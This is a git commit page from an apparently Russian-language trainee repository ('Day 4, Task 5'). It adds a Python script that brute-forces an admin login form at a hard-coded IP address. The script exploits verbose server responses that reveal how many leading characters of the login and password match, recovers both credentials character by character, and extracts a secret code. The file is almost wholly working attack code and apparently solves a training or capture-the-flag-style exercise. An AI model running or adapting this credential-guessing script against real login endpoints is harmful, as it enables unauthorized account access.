diff options
| author | Андрей Гущин <saintruler@gmail.com> | 2019-06-06 10:00:54 +0300 |
|---|---|---|
| committer | Андрей Гущин <saintruler@gmail.com> | 2019-06-06 10:00:54 +0300 |
| commit | f3512425265d2432c1791850fee3fa313267432b (patch) | |
| tree | adda17f78a97818b376d38f462b687533deab2da | |
| parent | 2b20a47cae1f05c8fbfe6cc4dcafac643705ee3e (diff) | |
| parent | 0871e4839f99e741ec559509f6614859304c353f (diff) | |
Merge branch 'day4_task5' into 'master'
День 4, Задача 5
See merge request saintruler/trainee!23
| -rw-r--r-- | day4/task5/task5.py | 78 |
1 files changed, 78 insertions, 0 deletions
diff --git a/day4/task5/task5.py b/day4/task5/task5.py new file mode 100644 index 0000000..5aa14db --- /dev/null +++ b/day4/task5/task5.py @@ -0,0 +1,78 @@ +import requests +import re +import string + + +def brute_login(login_len, password): + login = '' + for _ in range(login_len): + for char in login_alphabet: + resp = requests.post(url, data={ + 'login': (login + char).ljust(login_len), + 'password': password + }) + try: + if int(re.findall(login_brute_pattern, resp.text)[0][1]) > len(login): + print(f'Подобрал следующую букву логина: {char} ({len(login) + 1}/{login_len})') + login += char + break + except IndexError: + print(f'Подобрал следующую букву логина: {char} ({len(login) + 1}/{login_len})') + login += char + break + else: + print('Ни один из символов алфавита не подошел.') + quit() + + return login + + +def brute_password(pass_len, login): + password = '' + + for _ in range(pass_len): + for char in password_alphabet: + resp = requests.post(url, data={ + 'login': login, + 'password': (password + char).ljust(pass_len) + }) + try: + if int(re.findall(password_brute_pattern, resp.text)[0][2]) > len(password): + print(f'Подобрал следующую букву пароля: {char} ({len(password) + 1}/{pass_len})') + password += char + break + except IndexError: + print(f'Подобрал следующую букву пароля: {char} ({len(password) + 1}/{pass_len})') + password += char + break + else: + print('Ни один из символов алфавита не подошел.') + quit() + + return password + + +url = 'http://213.178.59.123:8000/admin_auth' +login_alphabet = string.printable +# Судя по тому, что возвращает страничка, когда введен правильный логин +# и в пароле правильное количество знаков, в пароле есть только цифры. +password_alphabet = string.digits + +login_len_pattern = re.compile(r'(\d+?)\) У актуального логина\((\d+?)\) и текущего разница в кол-ве (\d+?) знаков', re.DOTALL) +pass_len_pattern = re.compile(r'(\d+?)\) У актуального пароля\((\d+?)\) и текущего разница в кол-ве (\d+?) знаков', re.DOTALL) +login_brute_pattern = re.compile(r'(\d+?)\) У логина совпадают перыве (\d+?) значения\(ий\)', re.DOTALL) +password_brute_pattern = re.compile(r'(\d+?)\) У пароля \((\d+?)\)совпадает перыве (\d+?) цифр\(ы\)', re.DOTALL) + +resp = requests.post(url, data={'login': '123', 'password': '123'}) +login_len = int(re.findall(login_len_pattern, resp.text)[0][2]) + 3 +real_login = brute_login(login_len, '123') +print(f'Логин подобран: {real_login}') + +resp = requests.post(url, data={'login': real_login, 'password': '123'}) +pass_len = int(re.findall(pass_len_pattern, resp.text)[0][2]) + 3 +real_password = brute_password(pass_len, real_login) +print(f'Пароль подобран: {real_password}') + +resp = requests.post(url, data={'login': real_login, 'password': real_password}) +code = re.search(r'Ты молодец, возьми с полки пирожок, секретный код (.+?)\b', resp.text).groups()[0] +print(f'Секретный код: {code}') |